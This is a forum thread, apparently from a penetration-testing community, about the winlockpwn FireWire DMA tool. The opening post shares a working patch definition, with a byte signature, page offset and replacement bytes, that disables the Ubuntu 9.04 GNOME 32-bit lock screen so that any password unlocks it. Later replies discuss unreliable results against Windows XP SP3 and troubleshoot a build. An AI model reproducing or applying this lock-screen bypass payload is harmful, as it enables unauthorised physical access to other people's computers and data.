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was trying out winlockpwn and made this tiny hack and thought I'd share it.
works on 32bit ubuntu with gnome only (9.04 - jaunty). any password will work.
cheers,Code:{"name":"Ubuntu 9.04 gnome 32bit lockscreen unlock",
"notes":"Disable Ubuntu 9.04 32bit Lockscreen",
"phase":[
{"name":"Patch code",
"sig":"E8CC61000085C00F85E4000000C74424100E460508C744240C14460508C744240827010000C74424042D",
"pageoffset":[0xD3F],
"patch":"B80100000085",
"patchoffset":0x0}
]
}
- mf
Nice. I'm looking forward to trying this out! I contacted the original author about having it released with BT4, but so far no reply.
William
I can confirm that it works! nice work!Quote:
Originally Posted by MFighter
For some reason it won't work that flawles on all win systems right now. I tried so far 4 XP SP3 machines - only one worked after many tries. A year ago or so everything worked very well but now it's pretty unstable. I got Ressource temporarily unavailable all the time... :confused:
1394memimage works, however, well
BTW current the free Helix 3 has everything on board and is the most stable solution for me...
I have the same "Makefile" and get the same result with you .I have read the next reply and
" I am at the point where i have to reference /usr/local/include/python2.5 in the other scripts " but I still get the same result.
what is wrong?
Thanks in Advance
Latidude: I've been experiencing the same issues with the tool. I believe Microsoft may have patched this issue over the course of the last year. By patched I mean moved the memory location, as they did with SP3. Additionally, the "resource unavailable" has been a lot more frequent. I found running the tool immediately after plugging in the firewire has the best chance of working.
joimson: You need to give me more to work with. What version of BT are you running? Did you install python 2.5? Did you follow my instructions on page 1?